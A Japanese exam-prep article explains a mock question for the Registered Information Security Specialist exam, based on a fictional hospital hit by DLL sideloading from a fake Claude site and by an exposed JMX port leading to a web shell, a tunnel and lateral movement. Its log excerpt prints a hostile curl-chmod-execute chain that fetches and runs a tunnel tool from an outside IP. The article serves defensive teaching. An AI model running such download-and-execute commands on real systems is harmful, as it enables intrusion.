JadeProx型攻撃で学ぶ情報処理安全確保支援士科目B――DLLサイドローディング・JMX侵害・IPS・EDRを解説

重複記事のお知らせ：最新版の記事1720へ内容を統合しました。このページは記録のため残しています。

冒頭文

情報処理安全確保支援士試験では、用語を知っているだけでは点を取れません。

長い事例文と複数のログを読み、次の内容を短い文章で説明する力が必要です。

何が起きたのか
どのログが根拠になるのか
なぜ既存の対策で防げなかったのか
被害を止めるには何をすべきか
同じ攻撃をどう再発防止するのか

本記事では、JadeProx型の複合攻撃を受けた架空の医療機関「K医療センター」を題材にした科目B模擬問題を解説します。

この模擬問題では、偽Claudeサイトを起点とするWindows端末感染と、公開されたJMXを起点とするJavaサーバー侵害が同時に発生します。

さらに、DLLサイドローディング、インメモリ実行、Webシェル、暗号化トンネル、内部ネットワーク探索、PACSへの横展開までを一つの事例として扱います。元の模擬問題、ログ、設問、採点例は、作成済みの問題データを基にしています。

結論・要点

この問題で最も重要なのは、次の4点です。

正規署名付きEXEでも、読み込むDLLが悪意あるものなら安全ではない
WAFは、WAFを通らないJMXや管理ポートまでは保護できない
IOCだけでなく、プロセス・DLL・通信・横展開を相関して検知する
感染端末だけでなく、別の侵入経路と組織全体の被害範囲を調査する

攻撃全体を一行で表すと、次のようになります。

偽サイトによる端末感染
＋
公開JMXによるサーバー侵害
＋
トンネルを利用した内部侵入

この問題は、単一のマルウェアを覚える問題ではありません。

複数のセキュリティ製品、ログ、ネットワーク設計を横断し、攻撃チェーン全体を判断できるかを問う問題です。

この記事で分かること

JadeProx型攻撃の全体像
DLLサイドローディングの仕組み
デジタル署名があっても安全とは限らない理由
インメモリ実行を使う目的
WAFがJMX攻撃を防げなかった理由
Webシェルとトンネルツールの違い
DMZから内部ネットワークへの通信設計
IOC検知と行動ベース検知の使い分け
IPSルールを段階導入する理由
インシデント発生直後に電源を切ってはいけない場合
科目Bの記述問題で点を取る書き方

対象読者・前提環境

本記事は、次の読者を対象にしています。

情報処理安全確保支援士試験を受験する人
科目Bの長文問題が苦手な人
SOC、CSIRT、インフラ運用、サーバー管理に関わる人
EDR、IPS、WAF、SIEMの役割を整理したい人
ログから侵入経路を判断する練習をしたい人

前提となる環境は次のとおりです。

Internet
   │
   ├─ HTTPS → Cloud型WAF → Web01・Java01
   │
   └─ TCP 1099 ─────────→ Java01のJMX
                              │
                              ▼
                         内部Firewall
                              │
              ┌───────────────┼───────────────┐
              │               │               │
           職員端末        サーバー         医療機器
             PC-A           AD・DB           PACS01

重要なのは、HTTPSはWAFを通る一方、JMXのTCP 1099はWAFを通らない構成になっている点です。

情報処理安全確保支援士試験との関係

情報処理安全確保支援士試験の科目Bは、150分の記述式です。4問が出題され、2問を選択して解答します。2026年度からCBT方式へ移行しましたが、出題形式、出題数、解答数、配点、合格基準は変更されていません。記述式の解答はキーボードで入力します。

今回の模擬問題は、科目Bの約1問分を想定した75分・50点構成です。

ただし、作成したJSONでは学習システムへ登録しやすいように、長文問題を22個の設問へ分割しています。

本番試験
└─ 一つの長文事例を読み、複数の記述問題へ解答

練習用JSON
└─ 長文事例の論点を22問へ分割して反復練習

JSONのterm_exact形式は、実際のIPA試験の採点方法を再現するものではありません。

記述式の要点を繰り返し学習するための練習形式です。

JadeProxとは

JadeProxは、Group-IBが2026年7月23日に公開した、中国との関連が疑われる攻撃クラスタです。

Group-IBは、攻撃者が使用していたAlibaba Cloud上の公開ディレクトリから、操作履歴、攻撃ツール、Webシェルの配置先、フィッシング用ファイルなどを確認しました。

調査では、ベトナムの公立病院、マレーシア外務省、香港の教育機関などに対する活動が確認されています。

攻撃の中心では、Group-IBがTriBack Loaderと呼ぶローダーが使われました。TriBack LoaderはDLLサイドローディングを利用し、暗号化されたペイロードを復号して、Win32のコールバックAPIを通じて実行します。

偽Claudeサイトを使った関連事例では、次の3ファイルがWindowsのStartupフォルダへ配置されました。

NOVupdate.exe
NOVupdate.exe.dat
avk.dll

NOVupdate.exeは正規署名付きの実行ファイルです。

しかし、同じ場所に置かれた悪意のあるavk.dllを読み込みます。DLLは暗号化されたDATファイルを復号し、DonutLoaderを経由してBeagleバックドアを実行しました。

Beagleは、コマンド実行、ファイルのアップロード・ダウンロード、ディレクトリ操作などを行い、TCP 443又はUDP 8080でC2サーバーと通信していました。

模擬問題で何が起きたのか

K医療センターでは、二つの侵入がほぼ同時に進行しました。

経路1：偽ClaudeサイトからPC-Aへ感染

検索広告
   ↓
偽Claudeサイト
   ↓
ZIPファイル
   ↓
Claude.msi
   ↓
install.vbs
   ↓
Startupフォルダへ3ファイル配置
   ↓
DLLサイドローディング
   ↓
暗号化DATを復号
   ↓
メモリ上でバックドアを実行
   ↓
外部C2へ通信

経路2：公開JMXからJava01へ侵入

Internet
   ↓
Java01:TCP 1099
   ↓
JMX経由でOSコマンド実行
   ↓
curlでトンネルツール取得
   ↓
Webシェル設置
   ↓
内部ネットワークをスキャン
   ↓
PACS01へ接続

二つの経路は独立しています。

PC-Aの感染ファイルだけを削除しても、Java01のWebシェルやトンネルは残ります。

逆に、Java01だけを修復しても、PC-A上のバックドアは残ります。

用語と全体像

DLLサイドローディング

DLLを「プログラムが利用する部品」と考えると分かりやすくなります。

正規プログラムが起動時に必要な部品を探すとき、攻撃者が用意した偽物の部品を先に見つけさせる攻撃です。

正式には、正規のアプリケーションが読み込むDLLを攻撃者のDLLへ置き換え、正規プロセスの内部で不正なコードを実行する手法です。

MITRE ATT&CKでは、DLLサイドローディングをT1574.001として整理しています。正規アプリケーションと悪意あるDLLを並べて配置し、正規アプリケーションからペイロードを実行させる手法です。暗号化や難読化されたペイロードを、信頼されたプロセスのメモリ内で実行する場合もあります。

NOVUpdate.exe
  正規署名あり
        │
        │ 同じ場所のDLLを検索
        ▼
avk.dll
  攻撃者が用意
        │
        │ DATを復号
        ▼
NOVUpdate.exe.dat
  暗号化ペイロード

インメモリ実行

インメモリ実行とは、復号したマルウェア本体をディスクへ保存せず、メモリ上で動かす方法です。

たとえるなら、紙に書いて保管せず、その場で内容を覚えて実行するようなものです。

ディスク上に実行ファイルが残りにくいため、ファイルスキャンだけでは検知しにくくなります。

ただし、「痕跡が完全に消える」という意味ではありません。

次の場所には痕跡が残る可能性があります。

プロセス生成ログ
DLLロードログ
メモリ
DNSログ
ネットワーク通信
EDRのテレメトリ

Webシェル

Webシェルは、攻撃者がWebサーバーへ置く遠隔操作用の窓口です。

今回のhealth.jspは、遠隔からOSコマンドを実行できるため、Webシェルに該当します。

攻撃者
   ↓ HTTPリクエスト
health.jsp
   ↓
OSコマンド実行

トンネルツール

トンネルツールは、侵害したサーバーを内部ネットワークへの中継地点にします。

攻撃者
   │
   │ 暗号化通信
   ▼
Java01
   │
   │ 内部通信
   ▼
PACS・DB・AD

Webシェルが「サーバーを操作する入口」なら、トンネルは「内部へ進むための通路」です。

C2

C2はCommand and Controlの略です。

攻撃者が感染端末へ命令を送り、結果を受け取るための通信基盤です。

今回のPC-Aでは、業務で使用していないNOVUpdate.exeが外部へ周期的に通信していました。

設問1：PC-Aへの感染をどう読み解くか

設問1（1）：攻撃手法の名称

正解

DLLサイドローディング

判断方法

問題文には、次の条件があります。

正規署名付きEXE
＋
同じフォルダの未署名DLL
＋
EXEがDLLを読み込む

この組合せが出たら、DLLサイドローディングを疑います。

よくある誤答

DLLインジェクション
バッファオーバーフロー
署名偽造
プロセスインジェクション

DLLインジェクションは、実行中の別プロセスへDLLを注入する手法です。

今回の問題では、正規EXE自身のDLL検索処理を悪用しています。

設問1（2）：署名があっても安全ではない理由

解答例

正規EXEが攻撃者作成のDLLを読み込み、不正コードを実行するため。

採点される要素

答案には次の二点が必要です。

EXE本体の署名は正規である
読み込まれるDLLの安全性は保証されない

「デジタル署名が偽物だから」では不十分です。

本問題では、EXEの署名自体は有効です。

危険なのは、正規EXEを悪性DLLの実行装置として利用している点です。

記述式の作り方

原因
正規EXEが悪性DLLを読み込む

結果
不正コードが実行される

この二つを接続すると、短くても採点要素を満たせます。

設問1（3）：侵害の根拠を三つ挙げる

解答例

偽サイト閲覧後にMSIとVBSが実行された。
StartupにEXE、未署名DLL、DATが作成された。
正規EXEが未署名DLLを読み込み、外部通信した。

問題文から根拠を拾う順番

1．初期実行

explorer.exe
   ↓
msiexec.exe /i Claude.msi
   ↓
wscript.exe install.vbs

MSIからVBSが実行されています。

一般的なインストーラーでもスクリプトを使う場合はあります。

したがって、この事実だけで侵害とは断定できません。

2．永続化

Startupフォルダへ次のファイルが置かれています。

NOVUpdate.exe
avk.dll
NOVUpdate.exe.dat

Startupはログオン時にプログラムを自動実行する場所です。

EXE、DLL、暗号化DATが同時に置かれたことは強い不審点です。

3．実行と通信

NOVUpdate.exe
   ↓
avk.dllをロード
   ↓
DATを復号
   ↓
外部サーバーへ通信

さらに、C氏の通常業務ではNOVUpdate.exeを使用していません。

単一ログではなく、複数のログを時間順に接続することが重要です。

設問1（4）：インメモリ実行の利点

解答例

ファイル検査やディスク上の痕跡による検知を回避しやすくなる。

注意点

「絶対に検知されない」は誤りです。

正しくは、次の表現です。

検知を回避しやすくなる
ファイルベースの検査が難しくなる
ディスク上の痕跡を減らせる

断定しすぎないことが重要です。

設問2：Java01への侵入をどう判断するか

設問2（1）：WAFがTCP 1099を防げなかった理由

解答例

TCP 1099はWAFを経由せず、Java01へ直接到達したため。

問題のポイント

WAFが存在することと、対象通信がWAFを通ることは別です。

HTTPS
   ↓
WAF
   ↓
Java01

JMX TCP 1099
   ↓
WAFを通らない
   ↓
Java01へ直接到達

WAFは万能な防火壁ではありません。

次の情報を確認する必要があります。

WAFの配置場所
保護対象のFQDN
通過するポート
対応プロトコル
オリジンへの直接接続可否

試験での書き方

「WAFはJMXを検査できないから」だけでは少し弱い答案です。

本問題で確実な根拠は、TCP 1099がWAFを経由しない構成だったことです。

問題文に書かれた事実を優先します。

設問2（2）：OSコマンド実行の根拠

解答例

Javaを親とするシェルが外部ファイルを取得し、実行しているため。

ログの読み方

parent=/usr/bin/java
process=/bin/sh

Javaプロセスからシェルが起動しています。

その後、次のコマンドが続きます。

curl -o /tmp/u https://198.51.100.90/u
chmod +x /tmp/u
/tmp/u -server 198.51.100.90:443

意味は次のとおりです。

コマンド	意味
`curl -o /tmp/u`	外部からファイルを取得
`chmod +x /tmp/u`	実行権限を付与
`/tmp/u`	取得したファイルを実行

Javaアプリケーションが通常業務で行う処理とは考えにくい流れです。

設問2（3）：health.jspの名称

正解

Webシェル

JSPファイルだからWebシェルなのではありません。

遠隔からOSコマンドを実行できる機能を持つため、Webシェルと判断します。

設問2（4）：トンネルツールの目的

解答例

Java01を中継点として、内部ネットワークへ接続するため。

攻撃者はInternetからPACS01へ直接アクセスできません。

しかし、Java01はPACS01へ接続できます。

InternetからPACS01
    × 直接接続不可

InternetからJava01
    ○ 接続可能

Java01からPACS01
    ○ 接続可能

攻撃者はJava01を踏み台にすることで、外部から内部へ進みます。

設問3：ネットワーク設計の問題をどう書くか

設問3（1）：Java01からPACS01へ到達できた問題

解答例

DMZから医療機器セグメントへの通信が必要以上に許可されていた。

不十分な答案

Firewallの設定が悪かった。

抽象的すぎます。

採点者が確認したいのは、次の要素です。

どこから
どこへ
何が過剰だったか

DMZのJava01
   ↓
医療機器セグメントのPACS01
   ↓
TCP 443・104が許可

「送信元」「送信先」「許可範囲」を入れると答案が具体的になります。

設問3（2）：JMXを安全に運用する方法

解答例

JMXをInternetへ公開せず、VPN経由に限定する。
接続元IP制限と強固な認証を設定し、ログを監視する。

優先順位

最優先は、公開しないことです。

第1段階
不要ならJMXを無効化

第2段階
管理ネットワーク・localhostへ限定

第3段階
VPN・ZTNA・踏み台経由

第4段階
認証・TLS・接続元制限・ログ監視

「ポート番号を1099から変更する」だけでは十分ではありません。

スキャンされにくくなる可能性はありますが、アクセス制御にはなりません。

設問3（3）：外向き通信をどう制限するか

解答例

必要な更新先とAPIだけを許可し、それ以外の外向き通信を拒否する。

この対策をEgress Filteringと呼びます。

入口だけでなく、出口も制御する考え方です。

侵入を完全に防げなかった
   ↓
C2への接続を止める
   ↓
追加命令と情報窃取を抑える

許可する候補は次のとおりです。

OS更新先
パッケージリポジトリ
必要な外部API
DNS
NTP
バックアップ先
監視サービス

「TCP 443だから許可」ではなく、「どの宛先へ何の目的で接続するか」で判断します。

設問3（4）：443番でも安全ではない理由

解答例

C2通信やトンネル通信が443番を使い、HTTPSに紛れられるため。

ポート番号は、通信内容を保証しません。

TCP 443
├─ 正規HTTPS
├─ 独自暗号化通信
├─ C2ビーコン
├─ SOCKSトンネル
└─ リバースシェル

次の情報を組み合わせて判断します。

宛先ドメイン
宛先IP
TLS証明書
SNI
JA3・JA4などのTLS特性
通信したプロセス
通信間隔
送受信量
初回観測日時

設問4：IOCと行動検知をどう使い分けるか

設問4（1）：DLLサイドローディングを検知する組合せ

正解

R1、R2、R3

R1
ユーザー書込み可能領域から署名付きEXEを起動
   ↓
R2
同じ場所の未署名DLLをロード
   ↓
R3
未知ドメインへ外部通信

R1だけでは誤検知が多くなります。

ポータブルアプリや正規インストーラーが、ユーザーディレクトリから動く場合があるからです。

R2を追加すると、未署名DLLのロードが分かります。

R3を追加すると、実行後の通信まで確認できます。

Sysmonで対応するイベント

Windows Sysmonでは、Event ID 7がDLLや実行イメージのロードを記録し、Event ID 11がファイルの作成又は上書きを記録します。

Event ID 11は、Startup、Temp、Downloadなど、マルウェアがファイルを配置しやすい場所の監視に利用できます。Event ID 7はDLLサイドローディング分析に有効ですが、ログ量が多いため、対象プロセスやディレクトリを絞った設定が必要です。

設問4（2）：R6だけでは不十分な理由

解答例

攻撃者がIPやドメインを変更すると、登録済みIOCと一致しないため。

IOCは攻撃の「住所」や「指紋」です。

攻撃者は、住所や指紋を比較的簡単に変更できます。

変更しやすい情報	変更しにくい行動
IPアドレス	DLLロード
ドメイン	プロセス親子関係
URL	Startupへの配置
ファイル名	Webプロセスからのシェル起動
ハッシュ	内部探索
通信先	トンネル確立

IOC検知は不要ではありません。

既知の攻撃をすぐに検知できるため、非常に有効です。

ただし、行動ベース検知と併用する必要があります。

設問4（3）：Java01からPACS01までの相関ルール

正解

R4とR5

R4
Javaプロセスからシェルやトンネルツールを起動
   ↓
R5
DMZから通常接続しない内部セグメントへ通信

R4はサーバー侵害を示します。

R5は内部探索又は横展開を示します。

両方を時間軸で接続すると、攻撃チェーンとして判断できます。

R6のIOC一致があれば、確信度を上げる補強材料になります。

設問4（4）：IPSを最初から遮断しない理由

解答例

正規通信の誤遮断と業務影響を確認し、ルールを調整するため。

本番への導入は次の順番が安全です。

検知のみ
   ↓
誤検知確認
   ↓
しきい値・除外調整
   ↓
対象を限定して遮断
   ↓
本格遮断

特に、次の条件は単独で遮断すると誤検知しやすくなります。

User-Agent
新規ドメイン
TCP 443
スクリプト実行
未署名DLL
ユーザーディレクトリからのEXE起動

一つの条件だけでCriticalにせず、複数の行動を相関させます。

設問5：インシデント対応と再発防止

設問5（1）：感染端末への初動

正解

イ：ネットワークから隔離し、揮発性情報を保全する。

なぜ電源を切らないのか

電源を切ると、次の情報が失われる可能性があります。

メモリ上のマルウェア
復号済みペイロード
実行中プロセス
通信中のセッション
暗号鍵
ログイン情報
ネットワーク接続状態

ただし、必ず電源を維持するわけではありません。

ランサムウェアによる暗号化やデータ破壊が進行中の場合は、被害抑止を優先して停止する判断もあります。

試験では、問題文に特別な破壊進行の記述がなければ、隔離と証拠保全を基本に考えます。

設問5（2）：Java01で保全する証拠

解答例

メモリイメージ
プロセスとネットワーク接続情報
Linux監査・認証・Tomcatログ
Webシェルやトンネルツール

証拠を目的別に整理する

目的	保全対象
実行内容を知る	メモリ、プロセス、シェル履歴
侵入経路を知る	JMX、認証、Tomcat、Firewallログ
通信先を知る	DNS、IPS、Proxy、接続情報
設置物を知る	Webシェル、トンネル、スキャナ
時系列を知る	MAC時刻、監査ログ、SIEM
永続化を知る	cron、systemd、SSH鍵

単に「ログを保存する」だけでなく、何を明らかにするための証拠かを考えます。

設問5（3）：PC-Aだけで調査を終えてはいけない理由

解答例

別経路でJava01も侵害され、PACSへ横展開しているため。

この問題では、最初から二つの侵入経路があります。

偽Claude
   ↓
PC-A

公開JMX
   ↓
Java01
   ↓
PACS01

インシデント対応では、最初に見つかった端末を「被害の全て」と考えてはいけません。

次の範囲を確認します。

同じファイルが存在する端末
同じドメインへ通信した端末
同じ送信元IPからアクセスされたサーバー
同じ認証情報を使用したシステム
侵害サーバーから接続可能な内部機器
同じWebシェルやトンネルの設置先

設問5（4）：再発防止策

Windows端末

App Control又はWDACで、未承認EXE・DLLの実行を制限する。

補助対策：

VBS、MSI、メール由来ファイルをASRで制御
Startupへのファイル作成を監視
DLLロードをEDRで記録
利用者へローカル管理者権限を与えない
ソフトウェア配布を社内ポータルへ統一
検索広告からソフトを導入させない

公開サーバー

管理ポートをInternetへ公開せず、VPNや管理ネットワーク経由に限定する。

補助対策：

不要なJMXを停止
公開ポートを定期棚卸し
Java・Tomcatを更新
Webユーザーの権限を最小化
/tmpや/dev/shmからの実行を監視
DMZから内部への通信を最小化
外向き通信を許可リスト化

SOC・監視運用

IOC、プロセス、DLLロード、通信、内部探索を相関する。

推奨する相関例：

ユーザー領域へEXE・DLL・DAT作成
   ＋
署名付きEXEが未署名DLLをロード
   ＋
未知ドメインへ通信
   ＝
端末侵害のHigh又はCritical候補

Java・Webプロセスからシェル起動
   ＋
外部ファイル取得
   ＋
DMZから内部セグメントを探索
   ＝
サーバー侵害と横展開のCritical候補

科目Bで点を取る記述方法

1．問題文にある言葉を使う

問題文に「Java01」「PACS01」「TCP 1099」「WAFを経由しない」と書かれているなら、その言葉を答案に使います。

悪い例：

セキュリティが弱かったから。

良い例：

TCP 1099がWAFを経由せず、Java01へ直接到達したため。

2．原因と結果を一文にする

原因
署名付きEXEが未署名DLLを読み込む

結果
不正コードを実行する

答案：

署名付きEXEが未署名DLLを読み込み、不正コードを実行するため。

3．主語を省略しすぎない

悪い例：

直接つながっていたため。

何が何へつながっていたのか分かりません。

良い例：

InternetからJava01のJMXへ直接接続できたため。

4．「強化する」だけで終わらせない

悪い例：

Firewallを強化する。

良い例：

DMZからPACSへの通信を、必要な送信元とポートだけに限定する。

5．字数制限では修飾語を削る

元の文章：

攻撃者が外部に用意したC2サーバーへ侵害済みのJava01から自由に接続できないようにするため、FirewallやProxyを利用して、業務上必要となる外部サービス以外の宛先への通信を全て拒否する。

短縮後：

必要な外部宛先だけを許可し、それ以外の外向き通信を拒否する。

意味を保ちながら、製品名や重複表現を削ります。

実務での確認方法

Windows側で確認するポイント

StartupフォルダへEXE・DLL・DATが作成されていないか
正規署名付きEXEがユーザー領域から実行されていないか
同じディレクトリの未署名DLLを読み込んでいないか
業務で使わないプロセスが外部通信していないか
TCP 443とUDP 8080を周期的に使っていないか
MSIからVBSやPowerShellが起動していないか

Java・Linux側で確認するポイント

Java、Tomcat、Nginx、Apacheからshやbashが起動していないか
Webプロセスからcurlやwgetが実行されていないか
/tmp、/var/tmp、/dev/shmに実行ファイルがないか
Web公開ディレクトリに見慣れないJSPがないか
DMZから内部の複数IP・ポートへ接続していないか
長時間継続する外部TCP 443通信がないか

正常・異常の判断

観測	単独評価	組合せ評価
署名付きEXE	正常な場合が多い	未署名DLL読込みで不審
VBS実行	管理処理でも使う	偽MSI直後なら不審
TCP 443通信	通常発生する	未知EXE・周期通信なら不審
`/tmp`のファイル	一時ファイルは普通	実行権限付与・外部通信で不審
Javaからシェル	保守処理の場合もある	外部取得・実行まで続けば重大
内部TCP 443	業務通信の場合がある	複数IP・複数ポート探索なら不審

再発防止

1．変更管理を徹底する

今回のJMX公開は、一時作業後にFirewallを戻し忘れたことが原因です。

技術的な設定ミスだけでなく、変更管理の問題でもあります。

必要な仕組み：

作業開始時と終了時のチェックリスト
一時許可ルールへの有効期限
期限切れルールの自動無効化
設定変更の承認
作業後レビュー
公開ポートの定期スキャン

2．ソフトウェア導入経路を統制する

利用者がWeb検索から自由にソフトを導入できる環境では、偽サイトへの誘導を完全には防げません。

次の方式へ変更します。

利用者がWeb検索
   ×
直接インストール禁止

社内ポータル
   ↓
承認済みソフトウェア
   ↓
管理者が配布

3．DMZを信用しない

DMZは安全な場所ではありません。

外部から攻撃される可能性が高いシステムを隔離する場所です。

DMZから内部への通信は、原則拒否を基本とします。

必要な通信だけを例外として許可します。

4．検知を製品ごとに分断しない

WAF
端末感染は見えない

EDR
JMXへの外部接続は見えない

IPS
プロセスとDLLの関係は見えない

Firewall
ファイル作成は見えない

各ログをSIEMやXDRで接続します。

攻撃者は製品の境界をまたいで行動します。

防御側も製品の境界を越えて判断する必要があります。

注意点・よくある誤解

WAFがあれば公開サーバーは安全

誤りです。

WAFを通らない管理ポート、SSH、JMX、RMI、DB接続、オリジン直接接続は別途保護する必要があります。

デジタル署名があれば安全

誤りです。

署名は署名対象ファイルの発行元と改ざん有無を判断する材料です。

そのファイルが読み込むDLLや、実行時の挙動まで保証しません。

IOCが一致しなければ感染していない

誤りです。

攻撃者がIP、ドメイン、ファイル名、ハッシュを変更した可能性があります。

行動やログの関連性も確認します。

TCP 443ならHTTPSなので安全

誤りです。

ポート443上でC2、トンネル、独自暗号化通信を行うことができます。

インメモリ実行なら痕跡が残らない

誤りです。

ディスク上の痕跡は減りますが、メモリ、プロセス、DNS、通信、EDRには痕跡が残る可能性があります。

まとめ

JadeProx型の模擬問題では、次の攻撃が同時に進みました。

偽Claudeサイト
   ↓
Windows端末感染
   ↓
DLLサイドローディング
   ↓
インメモリ実行
   ↓
C2通信

公開JMX
   ↓
Javaサーバー侵害
   ↓
Webシェル
   ↓
暗号化トンネル
   ↓
内部探索
   ↓
PACSへの横展開

この問題を解くために必要なのは、マルウェア名の暗記ではありません。

重要なのは、次の能力です。

ログを時系列で並べる
一つのログだけで断定しない
セキュリティ製品の保護範囲を理解する
ネットワーク上の過剰な許可を見つける
IOCと行動検知を使い分ける
初動と証拠保全を区別する
原因と対策を字数内で書く

情報処理安全確保支援士の科目Bでは、知識を「状況へ適用する力」が問われます。

用語を覚えた後は、必ずログ、構成図、通信経路と結び付けて学習してください。

FAQ

JadeProxの名前を覚える必要はありますか？

固有名詞よりも攻撃手法の理解が重要です。

DLLサイドローディング、Webシェル、トンネル、C2、JMX公開リスクなどは、別の攻撃グループでも使われます。

科目Bでは模範解答と完全一致する必要がありますか？

公式の採点基準は公開されていません。

一般には、問題文から必要な要素を抽出し、因果関係が伝わるように記述することが重要です。

今回のJSONに設定したterm_exactは、学習用の正解候補です。実際の試験採点を完全再現するものではありません。

DLLサイドローディングとDLLインジェクションは同じですか？

異なります。

DLLサイドローディングは、正規プログラムのDLL検索や読込みを悪用します。

DLLインジェクションは、別の実行中プロセスへDLLを読み込ませる手法です。

WAFとIPSはどちらを導入すべきですか？

役割が異なります。

WAFは主にWebアプリケーションへのHTTP・HTTPS攻撃を検査します。

IPSはネットワーク上のさまざまな通信を検査します。

どちらか一つではなく、対象システムと通信経路に応じて組み合わせます。

感染端末はすぐ初期化すればよいですか？

初期化すると証拠が失われます。

まず隔離し、影響範囲と侵入経路を調査します。

証拠保全後に、組織の手順に従って再構築します。

参考情報

IPA「情報処理安全確保支援士試験」
IPA「令和8年度応用情報技術者試験、高度試験及び情報処理安全確保支援士試験」
Group-IB「JadeProx: Tracing a China-nexus Operation Through an OPSEC Mistake」
Sophos「Donuts and Beagles: Fake Claude site spreads backdoor」
MITRE ATT&CK「Hijack Execution Flow: DLL」
Microsoft「Sysmon」「Understanding Sysmon events」